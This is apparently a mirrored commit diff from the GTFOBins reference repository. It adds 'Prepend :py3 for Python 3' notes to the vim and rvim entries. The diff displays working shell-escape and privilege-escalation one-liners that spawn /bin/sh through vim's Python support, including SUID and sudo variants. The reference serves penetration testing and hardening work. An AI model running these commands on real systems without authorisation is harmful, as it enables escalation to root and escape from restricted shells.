mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add Python 3 comment in vim and rvim
This commit is contained in:
parent
cda1654809
commit
9432a6ce3c
@ -1,10 +1,10 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- description: This requires that `rvim` is compiled with Python support.
|
||||
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
file-write:
|
||||
- description: This requires that rvim is compiled with Python support.
|
||||
- description: This requires that rvim is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: |
|
||||
rvim file_to_write
|
||||
iDATA
|
||||
@ -13,9 +13,9 @@ functions:
|
||||
file-read:
|
||||
- code: rvim file_to_read
|
||||
suid:
|
||||
- description: This requires that `rvim` is compiled with Python support.
|
||||
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
||||
sudo:
|
||||
- description: This requires that `rvim` is compiled with Python support.
|
||||
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
---
|
||||
|
@ -6,7 +6,7 @@ functions:
|
||||
vim
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
- description: This requires that `vim` is compiled with Python support.
|
||||
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
file-write:
|
||||
- code: |
|
||||
@ -18,10 +18,10 @@ functions:
|
||||
- code: vim file_to_read
|
||||
suid:
|
||||
- code: ./vim -c ':!/bin/sh -p'
|
||||
- description: This requires that `vim` is compiled with Python support.
|
||||
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
||||
sudo:
|
||||
- code: sudo vim -c ':!/bin/sh'
|
||||
- description: This requires that `vim` is compiled with Python support.
|
||||
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user